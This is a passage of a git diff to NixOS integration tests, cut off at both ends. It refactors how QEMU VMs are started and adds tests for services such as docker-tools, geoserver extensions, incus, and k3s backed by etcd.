qemu-common.qemuBinary pkgs.qemu_test; + + flags = [ + "-m" (toString memory) + "-netdev" ("user,id=net0" + (lib.optionalString (pxe != null) ",tftp=${pxe},bootfile=netboot.ipxe")) + "-device" ("virtio-net-pci,netdev=net0" + (lib.optionalString (pxe != null && uefi) ",romfile=${pkgs.ipxe}/ipxe.efirom")) + ] ++ lib.optionals (cdrom != null) [ + "-cdrom" cdrom + ] ++ lib.optionals (usb != null) [ + "-device" "usb-ehci" + "-drive" "id=usbdisk,file=${usb},if=none,readonly" + "-device" "usb-storage,drive=usbdisk" + ] ++ lib.optionals (pxe != null) [ + "-boot" "order=n" + ] ++ lib.optionals uefi [ + "-drive" "if=pflash,format=raw,unit=0,readonly=on,file=${pkgs.OVMF.firmware}" + "-drive" "if=pflash,format=raw,unit=1,readonly=on,file=${pkgs.OVMF.variables}" + ] ++ extraFlags; + + flagsStr = lib.concatStringsSep " " flags; + in "${qemu} ${flagsStr}"; iso = (import ../lib/eval-config.nix { @@ -28,21 +59,16 @@ let ]; }).config.system.build.sdImage; - pythonDict = params: "\n {\n ${concatStringsSep ",\n " (mapAttrsToList (name: param: "\"${name}\": \"${param}\"") params)},\n }\n"; - - makeBootTest = name: extraConfig: + makeBootTest = name: config: let - machineConfig = pythonDict ({ - qemuBinary = qemu-common.qemuBinary pkgs.qemu_test; - qemuFlags = "-m 768"; - } // extraConfig); + startCommand = mkStartCommand config; in makeTest { name = "boot-" + name; nodes = { }; testScript = '' - machine = create_machine(${machineConfig}) + machine = create_machine("${startCommand}") machine.start() machine.wait_for_unit("multi-user.target") machine.succeed("nix store verify --no-trust -r --option experimental-features nix-command /run/current-system") @@ -73,43 +99,35 @@ let config.system.build.netbootIpxeScript ]; }; - machineConfig = pythonDict ({ - qemuBinary = qemu-common.qemuBinary pkgs.qemu_test; - qemuFlags = "-boot order=n -m 2000"; - netBackendArgs = "tftp=${ipxeBootDir},bootfile=netboot.ipxe"; + startCommand = mkStartCommand ({ + pxe = ipxeBootDir; } // extraConfig); in makeTest { name = "boot-netboot-" + name; nodes = { }; testScript = '' - machine = create_machine(${machineConfig}) + machine = create_machine("${startCommand}") machine.start() machine.wait_for_unit("multi-user.target") machine.shutdown() ''; }; - uefiBinary = { - x86_64-linux = "${pkgs.OVMF.fd}/FV/OVMF.fd"; - aarch64-linux = "${pkgs.OVMF.fd}/FV/QEMU_EFI.fd"; - }.${pkgs.stdenv.hostPlatform.system}; in { uefiCdrom = makeBootTest "uefi-cdrom" { + uefi = true; cdrom = "${iso}/iso/${iso.isoName}"; - bios = uefiBinary; }; uefiUsb = makeBootTest "uefi-usb" { + uefi = true; usb = "${iso}/iso/${iso.isoName}"; - bios = uefiBinary; }; uefiNetboot = makeNetbootTest "uefi" { - bios = uefiBinary; - # Custom ROM is needed for EFI PXE boot. I failed to understand exactly why, because QEMU should still use iPXE for EFI. - netFrontendArgs = "romfile=${pkgs.ipxe}/ipxe.efirom"; + uefi = true; }; -} // optionalAttrs (pkgs.stdenv.hostPlatform.system == "x86_64-linux") { +} // lib.optionalAttrs (pkgs.stdenv.hostPlatform.system == "x86_64-linux") { biosCdrom = makeBootTest "bios-cdrom" { cdrom = "${iso}/iso/${iso.isoName}"; }; @@ -124,9 +142,12 @@ in { sdImage = "${sd}/sd-image/${sd.imageName}"; mutableImage = "/tmp/linked-image.qcow2"; - machineConfig = pythonDict { - bios = "${pkgs.ubootQemuX86}/u-boot.rom"; - qemuFlags = "-m 768 -machine type=pc,accel=tcg -drive file=${mutableImage},if=ide,format=qcow2"; + startCommand = mkStartCommand { + extraFlags = [ + "-bios" "${pkgs.ubootQemuX86}/u-boot.rom" + "-machine" "type=pc,accel=tcg" + "-drive" "file=${mutableImage},if=virtio" + ]; }; in makeTest { name = "boot-uboot-extlinux"; @@ -138,11 +159,14 @@ in { if os.system("qemu-img create -f qcow2 -F raw -b ${sdImage} ${mutableImage}") != 0: raise RuntimeError("Could not create mutable linked image") - machine = create_machine(${machineConfig}) + machine = create_machine("${startCommand}") machine.start() machine.wait_for_unit("multi-user.target") machine.succeed("nix store verify -r --no-trust --option experimental-features nix-command /run/current-system") machine.shutdown() ''; + + # kernel can't find rootfs after boot - investigate? + meta.broken = true; }; } diff --git a/nixos/tests/ccache.nix b/nixos/tests/ccache.nix new file mode 100644 index 0000000000000..a97ae05017676 --- /dev/null +++ b/nixos/tests/ccache.nix @@ -0,0 +1,24 @@ +import ./make-test-python.nix ({ pkgs, ...} : { + name = "ccache"; + meta = with pkgs.lib.maintainers; { + maintainers = [ ehmry ]; + }; + + nodes.machine = { ... }: { + imports = [ ../modules/profiles/minimal.nix ]; + environment.systemPackages = [ pkgs.hello ]; + programs.ccache = { + enable = true; + packageNames = [ "hello" ]; + }; + }; + + testScript = + '' + start_all() + machine.wait_for_unit("multi-user.target") + machine.succeed("nix-ccache --show-stats") + machine.succeed("hello") + machine.shutdown() + ''; +}) diff --git a/nixos/tests/common/ec2.nix b/nixos/tests/common/ec2.nix index 1a64c464039b4..82922102f07b5 100644 --- a/nixos/tests/common/ec2.nix +++ b/nixos/tests/common/ec2.nix @@ -61,7 +61,7 @@ with pkgs.lib; + " $QEMU_OPTS" ) - machine = create_machine({"startCommand": start_command}) + machine = create_machine(start_command) try: '' + indentLines script + '' finally: diff --git a/nixos/tests/consul.nix b/nixos/tests/consul.nix index 6233234ff083b..c819312068dc7 100644 --- a/nixos/tests/consul.nix +++ b/nixos/tests/consul.nix @@ -42,6 +42,8 @@ let ]; networking.firewall = firewallSettings; + nixpkgs.config.allowUnfreePredicate = pkg: builtins.elem (lib.getName pkg) [ "consul" ]; + services.consul = { enable = true; inherit webUi; @@ -65,6 +67,8 @@ let ]; networking.firewall = firewallSettings; + nixpkgs.config.allowUnfreePredicate = pkg: builtins.elem (lib.getName pkg) [ "consul" ]; + services.consul = assert builtins.elem thisConsensusServerHost allConsensusServerHosts; { diff --git a/nixos/tests/docker-registry.nix b/nixos/tests/docker-registry.nix index db20cb52c3e3a..3969ef3f0226f 100644 --- a/nixos/tests/docker-registry.nix +++ b/nixos/tests/docker-registry.nix @@ -13,7 +13,7 @@ import ./make-test-python.nix ({ pkgs, ...} : { services.dockerRegistry.port = 8080; services.dockerRegistry.listenAddress = "0.0.0.0"; services.dockerRegistry.enableGarbageCollect = true; - networking.firewall.allowedTCPPorts = [ 8080 ]; + services.dockerRegistry.openFirewall = true; }; client1 = { ... }: { diff --git a/nixos/tests/docker-tools.nix b/nixos/tests/docker-tools.nix index 90af817e75ed3..7d91076600f97 100644 --- a/nixos/tests/docker-tools.nix +++ b/nixos/tests/docker-tools.nix @@ -46,6 +46,32 @@ let echo 'runAsRoot has run.' ''; }; + + chownTestImage = + pkgs.dockerTools.streamLayeredImage { + name = "chown-test"; + tag = "latest"; + enableFakechroot = true; + fakeRootCommands = '' + touch /testfile + chown 12345:12345 /testfile + ''; + config.Cmd = [ "${pkgs.coreutils}/bin/stat" "-c" "%u:%g" "/testfile" ]; + }; + + nonRootTestImage = + pkgs.dockerTools.streamLayeredImage rec { + name = "non-root-test"; + tag = "latest"; + uid = 1000; + gid = 1000; + uname = "user"; + gname = "user"; + config = { + User = "user"; + Cmd = [ "${pkgs.coreutils}/bin/stat" "-c" "%u:%g" "${pkgs.coreutils}/bin/stat" ]; + }; + }; in { name = "docker-tools"; meta = with pkgs.lib.maintainers; { @@ -71,14 +97,29 @@ in { docker.succeed("${examples.helloOnRoot} | docker load") docker.succeed("docker run --rm hello | grep -i hello") docker.succeed("docker image rm hello:latest") + with subtest("includeStorePath = false; breaks example"): docker.succeed("${examples.helloOnRootNoStore} | docker load") docker.fail("docker run --rm hello | grep -i hello") docker.succeed("docker image rm hello:latest") + with subtest("includeStorePath = false; breaks example (fakechroot)"): + docker.succeed("${examples.helloOnRootNoStoreFakechroot} | docker load") + docker.fail("docker run --rm hello | grep -i hello") + docker.succeed("docker image rm hello:latest") + + with subtest("Ensure ZERO paths are added to the store"): + docker.fail("${examples.helloOnRootNoStore} | ${pkgs.crane}/bin/crane export - - | tar t | grep 'nix/store/'") + with subtest("Ensure ZERO paths are added to the store (fakechroot)"): + docker.fail("${examples.helloOnRootNoStoreFakechroot} | ${pkgs.crane}/bin/crane export - - | tar t | grep 'nix/store/'") + with subtest("includeStorePath = false; works with mounted store"): docker.succeed("${examples.helloOnRootNoStore} | docker load") docker.succeed("docker run --rm --volume ${builtins.storeDir}:${builtins.storeDir}:ro hello | grep -i hello") docker.succeed("docker image rm hello:latest") + with subtest("includeStorePath = false; works with mounted store (fakechroot)"): + docker.succeed("${examples.helloOnRootNoStoreFakechroot} | docker load") + docker.succeed("docker run --rm --volume ${builtins.storeDir}:${builtins.storeDir}:ro hello | grep -i hello") + docker.succeed("docker image rm hello:latest") with subtest("Ensure Docker images use a stable date by default"): docker.succeed( @@ -128,6 +169,15 @@ in { docker.succeed("docker images --format '{{.Tag}}' | grep -F '${examples.nixLayered.imageTag}'") docker.succeed("docker rmi ${examples.nixLayered.imageName}") + with subtest("Check that images with alternative compression schemas load"): + docker.succeed( + "docker load --input='${examples.bashZstdCompressed}'", + "docker rmi ${examples.bashZstdCompressed.imageName}", + ) + docker.succeed( + "docker load --input='${examples.bashUncompressed}'", + "docker rmi ${examples.bashUncompressed.imageName}", + ) with subtest( "Check if the nix store is correctly initialized by listing " @@ -145,7 +195,7 @@ in { ): docker.succeed( "docker load --input='${examples.bashLayeredWithUser}'", - "docker run -u somebody --rm ${examples.bashLayeredWithUser.imageName} ${pkgs.bash}/bin/bash -c 'test 555 == $(stat --format=%a /nix) && test 555 == $(stat --format=%a /nix/store)'", + "docker run -u somebody --rm ${examples.bashLayeredWithUser.imageName} ${pkgs.bash}/bin/bash -c 'test 755 == $(stat --format=%a /nix) && test 755 == $(stat --format=%a /nix/store)'", "docker rmi ${examples.bashLayeredWithUser.imageName}", ) @@ -449,6 +499,18 @@ in { "docker run --rm ${examples.layeredImageWithFakeRootCommands.imageName} /hello/bin/layeredImageWithFakeRootCommands-hello" ) + with subtest("mergeImage correctly deals with varying compression schemas in inputs"): + docker.succeed("docker load --input='${examples.mergeVaryingCompressor}'") + + for sub_image, tag in [ + ("${examples.redis.imageName}", "${examples.redis.imageTag}"), + ("${examples.bashUncompressed.imageName}", "${examples.bashUncompressed.imageTag}"), + ("${examples.bashZstdCompressed.imageName}", "${examples.bashZstdCompressed.imageTag}"), + ]: + docker.succeed(f"docker images --format '{{{{.Repository}}}}-{{{{.Tag}}}}' | grep -F '{sub_image}-{tag}'") + docker.succeed(f"docker rmi {sub_image}") + + with subtest("exportImage produces a valid tarball"): docker.succeed( "tar -tf ${examples.exportBash} | grep '\./bin/bash' > /dev/null" @@ -550,5 +612,17 @@ in { "${examples.nix-shell-build-derivation} | docker load", "docker run --rm -it nix-shell-build-derivation" ) + + with subtest("streamLayeredImage: chown is persistent in fakeRootCommands"): + docker.succeed( + "${chownTestImage} | docker load", + "docker run --rm ${chownTestImage.imageName} | diff /dev/stdin <(echo 12345:12345)" + ) + + with subtest("streamLayeredImage: with non-root user"): + docker.succeed( + "${nonRootTestImage} | docker load", + "docker run --rm ${chownTestImage.imageName} | diff /dev/stdin <(echo 12345:12345)" + ) ''; }) diff --git a/nixos/tests/geoserver.nix b/nixos/tests/geoserver.nix index 7e5507a296eaf..4f6f2b209d07f 100644 --- a/nixos/tests/geoserver.nix +++ b/nixos/tests/geoserver.nix @@ -1,4 +1,18 @@ -{ pkgs, lib, ... }: { +{ pkgs, lib, ... }: + +let + geoserver = pkgs.geoserver; + geoserverWithImporterExtension = pkgs.geoserver.withExtensions (ps: with ps; [ importer ]); + + # Blacklisted extensions: + # - wps-jdbc needs a running (Postrgres) db server. + blacklist = [ "wps-jdbc" ]; + + blacklistedToNull = n: v: if ! builtins.elem n blacklist then v else null; + getNonBlackistedExtensionsAsList = ps: builtins.filter (x: x != null) (lib.attrsets.mapAttrsToList blacklistedToNull ps); + geoserverWithAllExtensions = pkgs.geoserver.withExtensions (ps: getNonBlackistedExtensionsAsList ps); +in +{ name = "geoserver"; meta = { @@ -9,16 +23,57 @@ machine = { pkgs, ... }: { virtualisation.diskSize = 2 * 1024; - environment.systemPackages = [ pkgs.geoserver ]; + environment.systemPackages = [ + geoserver + geoserverWithImporterExtension + geoserverWithAllExtensions + ]; }; }; testScript = '' + from contextlib import contextmanager + + curl_cmd = "curl --fail --connect-timeout 2" + curl_cmd_rest = f"{curl_cmd} -u admin:geoserver -X GET" + base_url = "http://localhost:8080/geoserver" + log_file = "./log.txt" + + @contextmanager + def running_geoserver(pkg): + try: + print(f"Launching geoserver from {pkg}...") + machine.execute(f"{pkg}/bin/geoserver-startup > {log_file} 2>&1 &") + machine.wait_until_succeeds(f"{curl_cmd} {base_url} 2>&1", timeout=60) + yield + finally: + # We need to wait a little bit to make sure the server is properly + # shutdown before launching a new instance. + machine.execute(f"{pkg}/bin/geoserver-shutdown; sleep 1") + start_all() - machine.execute("${pkgs.geoserver}/bin/geoserver-startup > /dev/null 2>&1 &") - machine.wait_until_succeeds("curl --fail --connect-timeout 2 http://localhost:8080/geoserver", timeout=60) + with running_geoserver("${geoserver}"): + machine.succeed(f"{curl_cmd} {base_url}/ows?service=WMS&version=1.3.0&request=GetCapabilities") + + # No extensions yet. + machine.fail(f"{curl_cmd_rest} {base_url}/rest/imports") + machine.fail(f"{curl_cmd_rest} {base_url}/rest/monitor/requests.csv") + + + with running_geoserver("${geoserverWithImporterExtension}"): + machine.succeed(f"{curl_cmd_rest} {base_url}/rest/imports") + machine.fail(f"{curl_cmd_rest} {base_url}/rest/monitor/requests.csv") + + with running_geoserver("${geoserverWithAllExtensions}"): + machine.succeed(f"{curl_cmd_rest} {base_url}/rest/imports") + machine.succeed(f"{curl_cmd_rest} {base_url}/rest/monitor/requests.csv") + _, stdout = machine.execute(f"cat {log_file}") + print(stdout.replace("\\n", "\n")) + assert "GDAL Native Library loaded" in stdout, "gdal" + assert "The turbo jpeg encoder is available for usage" in stdout, "libjpeg-turbo" + assert "org.geotools.imageio.netcdf.utilities.NetCDFUtilities" in stdout, "netcdf" + assert "Unable to load library 'netcdf'" not in stdout, "netcdf" - machine.succeed("curl --fail --connect-timeout 2 http://localhost:8080/geoserver/ows?service=WMS&version=1.3.0&request=GetCapabilities") ''; } diff --git a/nixos/tests/go-camo.nix b/nixos/tests/go-camo.nix new file mode 100644 index 0000000000000..513964c31c433 --- /dev/null +++ b/nixos/tests/go-camo.nix @@ -0,0 +1,30 @@ +{ system ? builtins.currentSystem, config ? { } +, pkgs ? import ../.. { inherit system config; } }: + +with import ../lib/testing-python.nix { inherit system pkgs; }; + +{ + gocamo_file_key = let + key_val = "12345678"; + in + makeTest { + name = "go-camo-file-key"; + meta = { + maintainers = [ pkgs.lib.maintainers.viraptor ]; + }; + + nodes.machine = { config, pkgs, ... }: { + services.go-camo = { + enable = true; + keyFile = pkgs.writeText "foo" key_val; + }; + }; + + # go-camo responds to http requests + testScript = '' + machine.wait_for_unit("go-camo.service") + machine.wait_for_open_port(8080) + machine.succeed("curl http://localhost:8080") + ''; + }; +} diff --git a/nixos/tests/homepage-dashboard.nix b/nixos/tests/homepage-dashboard.nix index 56e077f5ff6de..dd36473e8ac02 100644 --- a/nixos/tests/homepage-dashboard.nix +++ b/nixos/tests/homepage-dashboard.nix @@ -2,13 +2,35 @@ import ./make-test-python.nix ({ lib, ... }: { name = "homepage-dashboard"; meta.maintainers = with lib.maintainers; [ jnsgruk ]; - nodes.machine = { pkgs, ... }: { + nodes.unmanaged_conf = { pkgs, ... }: { services.homepage-dashboard.enable = true; }; + nodes.managed_conf = { pkgs, ... }: { + services.homepage-dashboard = { + enable = true; + settings.title = "custom"; + }; + }; + testScript = '' - machine.wait_for_unit("homepage-dashboard.service") - machine.wait_for_open_port(8082) - machine.succeed("curl --fail http://localhost:8082/") + # Ensure the services are started on unmanaged machine + unmanaged_conf.wait_for_unit("homepage-dashboard.service") + unmanaged_conf.wait_for_open_port(8082) + unmanaged_conf.succeed("curl --fail http://localhost:8082/") + + # Ensure that /etc/homepage-dashboard doesn't exist, and boilerplate + # configs are copied into place. + unmanaged_conf.fail("test -d /etc/homepage-dashboard") + unmanaged_conf.succeed("test -f /var/lib/private/homepage-dashboard/settings.yaml") + + # Ensure the services are started on managed machine + managed_conf.wait_for_unit("homepage-dashboard.service") + managed_conf.wait_for_open_port(8082) + managed_conf.succeed("curl --fail http://localhost:8082/") + + # Ensure /etc/homepage-dashboard is created and unmanaged conf location isn't. + managed_conf.succeed("test -d /etc/homepage-dashboard") + managed_conf.fail("test -f /var/lib/private/homepage-dashboard/settings.yaml") ''; }) diff --git a/nixos/tests/incus/container.nix b/nixos/tests/incus/container.nix index 0e65cc1e15294..eb00429e53fe1 100644 --- a/nixos/tests/incus/container.nix +++ b/nixos/tests/incus/container.nix @@ -1,11 +1,13 @@ -import ../make-test-python.nix ({ pkgs, lib, ... } : +import ../make-test-python.nix ({ pkgs, lib, extra ? {}, ... } : let releases = import ../../release.nix { configuration = { # Building documentation makes the test unnecessarily take a longer time: documentation.enable = lib.mkForce false; - }; + + boot.kernel.sysctl."net.ipv4.ip_forward" = "1"; + } // extra; }; container-image-metadata = releases.lxdContainerMeta.${pkgs.stdenv.hostPlatform.system}; @@ -40,6 +42,12 @@ in with machine.nested("Waiting for instance to start and be usable"): retry(instance_is_up) + def check_sysctl(instance): + with subtest("systemd sysctl settings are applied"): + machine.succeed(f"incus exec {instance} -- systemctl status systemd-sysctl") + sysctl = machine.succeed(f"incus exec {instance} -- sysctl net.ipv4.ip_forward").strip().split(" ")[-1] + assert "1" == sysctl, f"systemd-sysctl configuration not correctly applied, {sysctl} != 1" + machine.wait_for_unit("incus.service") # no preseed should mean no service @@ -83,6 +91,7 @@ in with subtest("lxc-container generator configures plain container"): # reuse the existing container to save some time machine.succeed("incus exec container test -- -e /run/systemd/system/service.d/zzz-lxc-service.conf") + check_sysctl("container") with subtest("lxc-container generator configures nested container"): machine.execute("incus delete --force container") @@ -94,6 +103,8 @@ in target = machine.succeed("incus exec container readlink -- -f /run/systemd/system/systemd-binfmt.service").strip() assert target == "/dev/null", "lxc generator did not correctly mask /run/systemd/system/systemd-binfmt.service" + check_sysctl("container") + with subtest("lxc-container generator configures privileged container"): machine.execute("incus delete --force container") machine.succeed("incus launch nixos container --config security.privileged=true") @@ -101,5 +112,7 @@ in retry(instance_is_up) machine.succeed("incus exec container test -- -e /run/systemd/system/service.d/zzz-lxc-service.conf") + + check_sysctl("container") ''; }) diff --git a/nixos/tests/incus/default.nix b/nixos/tests/incus/default.nix index 26e8a4ac4c772..ff36fe9d67308 100644 --- a/nixos/tests/incus/default.nix +++ b/nixos/tests/incus/default.nix @@ -5,9 +5,14 @@ handleTestOn, }: { - container = import ./container.nix { inherit system pkgs; }; + container-old-init = import ./container.nix { inherit system pkgs; }; + container-new-init = import ./container.nix { inherit system pkgs; extra = { + # Enable new systemd init + boot.initrd.systemd.enable = true; + }; }; lxd-to-incus = import ./lxd-to-incus.nix { inherit system pkgs; }; preseed = import ./preseed.nix { inherit system pkgs; }; socket-activated = import ./socket-activated.nix { inherit system pkgs; }; + ui = import ./ui.nix {inherit system pkgs;}; virtual-machine = handleTestOn [ "x86_64-linux" ] ./virtual-machine.nix { inherit system pkgs; }; } diff --git a/nixos/tests/incus/ui.nix b/nixos/tests/incus/ui.nix new file mode 100644 index 0000000000000..24ce1217d8df7 --- /dev/null +++ b/nixos/tests/incus/ui.nix @@ -0,0 +1,63 @@ +import ../make-test-python.nix ({ pkgs, lib, ... }: { + name = "incus-ui"; + + meta = { + maintainers = lib.teams.lxc.members; + }; + + nodes.machine = { lib, ... }: { + virtualisation = { + incus.enable = true; + incus.ui.enable = true; + }; + + environment.systemPackages = + let + seleniumScript = pkgs.writers.writePython3Bin "selenium-script" + { + libraries = with pkgs.python3Packages; [ selenium ]; + } '' + from selenium import webdriver + from selenium.webdriver.common.by import By + from selenium.webdriver.firefox.options import Options + from selenium.webdriver.support.ui import WebDriverWait + + options = Options() + options.add_argument("--headless") + service = webdriver.FirefoxService(executable_path="${lib.getExe pkgs.geckodriver}") # noqa: E501 + + driver = webdriver.Firefox(options=options, service=service) + driver.implicitly_wait(10) + driver.get("https://localhost:8443/ui") + + wait = WebDriverWait(driver, 60) + + assert len(driver.find_elements(By.CLASS_NAME, "l-application")) > 0 + assert len(driver.find_elements(By.CLASS_NAME, "l-navigation__drawer")) > 0 + + driver.close() + ''; + in + with pkgs; [ curl firefox-unwrapped geckodriver seleniumScript ]; + }; + + + testScript = '' + machine.wait_for_unit("sockets.target") + machine.wait_for_unit("incus.service") + machine.wait_for_file("/var/lib/incus/unix.socket") + + # Configure incus listen address + machine.succeed("incus config set core.https_address :8443") + machine.succeed("systemctl restart incus") + + # Check that the INCUS_UI environment variable is populated in the systemd unit + machine.succeed("cat /etc/systemd/system/incus.service | grep 'INCUS_UI'") + + # Ensure the endpoint returns an HTML page with 'Incus UI' in the title + machine.succeed("curl -kLs https://localhost:8443/ui | grep '<title>Incus UI</title>'") + + # Ensure the application is actually rendered by the Javascript + machine.succeed("PYTHONUNBUFFERED=1 selenium-script") + ''; +}) diff --git a/nixos/tests/installer.nix b/nixos/tests/installer.nix index 7576fae41f83b..97bb7f8def595 100644 --- a/nixos/tests/installer.nix +++ b/nixos/tests/installer.nix @@ -83,46 +83,34 @@ let , postInstallCommands, preBootCommands, postBootCommands, extraConfig , testSpecialisationConfig, testFlakeSwitch, clevisTest, clevisFallbackTest }: - let iface = "virtio"; - isEfi = bootLoader == "systemd-boot" || (bootLoader == "grub" && grubUseEfi); - bios = if pkgs.stdenv.isAarch64 then "QEMU_EFI.fd" else "OVMF.fd"; + let + qemu-common = import ../lib/qemu-common.nix { inherit (pkgs) lib pkgs; }; + isEfi = bootLoader == "systemd-boot" || (bootLoader == "grub" && grubUseEfi); + qemu = qemu-common.qemuBinary pkgs.qemu_test; in if !isEfi && !pkgs.stdenv.hostPlatform.isx86 then '' machine.succeed("true") '' else '' + import os import subprocess - tpm_folder = os.environ['NIX_BUILD_TOP'] - def assemble_qemu_flags(): - flags = "-cpu max" - ${if (system == "x86_64-linux" || system == "i686-linux") - then ''flags += " -m 1024"'' - else ''flags += " -m 768 -enable-kvm -machine virt,gic-version=host"'' - } - ${optionalString clevisTest ''flags += f" -chardev socket,id=chrtpm,path={tpm_folder}/swtpm-sock -tpmdev emulator,id=tpm0,chardev=chrtpm -device tpm-tis,tpmdev=tpm0"''} - ${optionalString clevisTest ''flags += " -device virtio-net-pci,netdev=vlan1,mac=52:54:00:12:11:02 -netdev vde,id=vlan1,sock=\"$QEMU_VDE_SOCKET_1\""''} - return flags + tpm_folder = os.environ['NIX_BUILD_TOP'] - qemu_flags = {"qemuFlags": assemble_qemu_flags()} + startcommand = "${qemu} -m 2048" - import os + ${optionalString clevisTest '' + startcommand += f" -chardev socket,id=chrtpm,path={tpm_folder}/swtpm-sock -tpmdev emulator,id=tpm0,chardev=chrtpm -device tpm-tis,tpmdev=tpm0" + startcommand += " -device virtio-net-pci,netdev=vlan1,mac=52:54:00:12:11:02 -netdev vde,id=vlan1,sock=\"$QEMU_VDE_SOCKET_1\"" + ''} + ${optionalString isEfi '' + startcommand +=" -drive if=pflash,format=raw,unit=0,readonly=on,file=${pkgs.OVMF.firmware} -drive if=pflash,format=raw,unit=1,readonly=on,file=${pkgs.OVMF.variables}" + ''} image_dir = machine.state_dir disk_image = os.path.join(image_dir, "machine.qcow2") - - hd_flags = { - "hdaInterface": "${iface}", - "hda": disk_image, - } - ${optionalString isEfi '' - hd_flags.update( - bios="${pkgs.OVMF.fd}/FV/${bios}" - )'' - } - default_flags = {**hd_flags, **qemu_flags} - + startcommand += f" -drive file={disk_image},if=virtio,werror=report" def create_machine_named(name): - return create_machine({**default_flags, "name": name}) + return create_machine(startcommand, name=name) class Tpm: def __init__(self): @@ -471,7 +459,7 @@ let # builds stuff in the VM, needs more juice virtualisation.diskSize = 8 * 1024; virtualisation.cores = 8; - virtualisation.memorySize = 1536; + virtualisation.memorySize = 2048; boot.initrd.systemd.enable = systemdStage1; @@ -526,8 +514,7 @@ let curl ] ++ optionals (bootLoader == "grub") (let - zfsSupport = lib.any (x: x == "zfs") - (extraInstallerConfig.boot.supportedFilesystems or []); + zfsSupport = extraInstallerConfig.boot.supportedFilesystems.zfs or false; in [ (pkgs.grub2.override { inherit zfsSupport; }) (pkgs.grub2_efi.override { inherit zfsSupport; }) diff --git a/nixos/tests/k3s/default.nix b/nixos/tests/k3s/default.nix index e168f8233c763..512dc06ee77ec 100644 --- a/nixos/tests/k3s/default.nix +++ b/nixos/tests/k3s/default.nix @@ -6,6 +6,11 @@ let allK3s = lib.filterAttrs (n: _: lib.strings.hasPrefix "k3s_" n) pkgs; in { + # Testing K3s with Etcd backend + etcd = lib.mapAttrs (_: k3s: import ./etcd.nix { + inherit system pkgs k3s; + inherit (pkgs) etcd; + }) allK3s; # Run a single node k3s cluster and verify a pod can run single-node = lib.mapAttrs (_: k3s: import ./single-node.nix { inherit system pkgs k3s; }) allK3s; # Run a multi-node k3s cluster and verify pod networking works across nodes diff --git a/nixos/tests/k3s/etcd.nix b/nixos/tests/k3s/etcd.nix new file mode 100644 index 0000000000000..d6e9a294adb13 --- /dev/null +++ b/nixos/tests/k3s/etcd.nix @@ -0,0 +1,100 @@ +import ../make-test-python.nix ({ pkgs, lib, k3s, etcd, ... }: + +{ + name = "${k3s.name}-etcd"; + + nodes = { + + etcd = { ... }: { + services.etcd = { + enable = true; + openFirewall = true; + listenClientUrls = [ "http://192.168.1.1:2379" "http://127.0.0.1:2379" ]; + listenPeerUrls = [ "http://192.168.1.1:2380" ]; + initialAdvertisePeerUrls = [ "http://192.168.1.1:2380" ]; + initialCluster = [ "etcd=http://192.168.1.1:2380" ]; + }; + networking = { + useDHCP = false; + defaultGateway = "192.168.1.1"; + interfaces.eth1.ipv4.addresses = pkgs.lib.mkForce [ + { address = "192.168.1.1"; prefixLength = 24; } + ]; + }; + }; + + k3s = { pkgs, ... }: { + environment.systemPackages = with pkgs; [ jq ]; + # k3s uses enough resources the default vm fails. + virtualisation.memorySize = 1536; + virtualisation.diskSize = 4096; + + services.k3s = { + enable = true; + role = "server"; + extraFlags = builtins.toString [ + "--datastore-endpoint=\"http://192.168.1.1:2379\"" + "--disable" "coredns" + "--disable" "local-storage" + "--disable" "metrics-server" + "--disable" "servicelb" + "--disable" "traefik" + "--node-ip" "192.168.1.2" + ]; + }; + + networking = { + firewall = { + allowedTCPPorts = [ 2379 2380 6443 ]; + allowedUDPPorts = [ 8472 ]; + }; + useDHCP = false; + defaultGateway = "192.168.1.2"; + interfaces.eth1.ipv4.addresses = pkgs.lib.mkForce [ + { address = "192.168.1.2"; prefixLength = 24; } + ]; + }; + }; + + }; + + testScript = '' + with subtest("should start etcd"): + etcd.start() + etcd.wait_for_unit("etcd.service") + + with subtest("should wait for etcdctl endpoint status to succeed"): + etcd.wait_until_succeeds("etcdctl endpoint status") + + with subtest("should start k3s"): + k3s.start() + k3s.wait_for_unit("k3s") + + with subtest("should test if kubectl works"): + k3s.wait_until_succeeds("k3s kubectl get node") + + with subtest("should wait for service account to show up; takes a sec"): + k3s.wait_until_succeeds("k3s kubectl get serviceaccount default") + + with subtest("should create a sample secret object"): + k3s.succeed("k3s kubectl create secret generic nixossecret --from-literal thesecret=abacadabra") + + with subtest("should check if secret is correct"): + k3s.wait_until_succeeds("[[ $(kubectl get secrets nixossecret -o json | jq -r .data.thesecret | base64 -d) == abacadabra ]]") + + with subtest("should have a secret in database"): + etcd.wait_until_succeeds("[[ $(etcdctl get /registry/secrets/default/nixossecret | head -c1 | wc -c) -ne 0 ]]") + + with subtest("should delete the secret"): + k3s.succeed("k3s kubectl delete secret nixossecret") + + with subtest("should not have a secret in database"): + etcd.wait_until_fails("[[ $(etcdctl get /registry/secrets/default/nixossecret | head -c1 | wc -c) -ne 0 ]]") + + with subtest("should shutdown k3s and etcd"): + k3s.shutdown() + etcd.shutdown() + ''; + + meta.maintainers = etcd.meta.maintainers ++ k3s.meta.maintainers; +}) diff --git a/nixos/tests/keepalived.nix b/nixos/tests/keepalived.nix index ce291514591fe..16564511d85dc 100644 --- a/nixos/tests/keepalived.nix +++ b/nixos/tests/keepalived.nix @@ -1,6 +1,6 @@ import ./make-test-python.nix ({ pkgs, lib, ... }: { name = "keepalived"; - maintainers = [ lib.maintainers.raitobezarius ]; + meta.maintainers = [ lib.maintainers.raitobezarius ]; nodes = { node1 = { pkgs, ... }: { diff --git a/nixos/tests/kernel-generic.nix b/nixos/tests/kernel-generic.nix index 0dcab39f3fada..9714a94382ee0 100644 --- a/nixos/tests/kernel-generic.nix +++ b/nixos/tests/kernel-generic.nix @@ -30,7 +30,6 @@ let linux_5_10_hardened linux_5_15_hardened linux_6_1_hardened - linux_6_5_hardened linux_6_6_hardened linux_6_7_hardened linux_rt_5_4 diff --git a/nixos/tests/knot.nix b/nixos/tests/knot.nix index 44efd93b6fa95..eec94a22f2fa7 100644 --- a/nixos/tests/knot.nix +++ b/nixos/tests/knot.nix @@ -66,6 +66,10 @@ in { "0.0.0.0@53" "::@53" ]; + listen-quic = [ + "0.0.0.0@853" + "::@853" + ]; automatic-acl = true; }; @@ -114,11 +118,14 @@ in { services.knot.extraArgs = [ "-v" ]; services.knot.settings = { server = { + automatic-acl = true; + }; + + xdp = { listen = [ - "0.0.0.0@53" - "::@53" + "eth1" ]; - automatic-acl = true; + tcp = true; }; remote.primary = { @@ -126,8 +133,13 @@ in { key = "xfr_key"; }; + remote.primary-quic = { + address = "192.168.0.1@853"; + key = "xfr_key"; + quic = true; + }; + template.default = { - master = 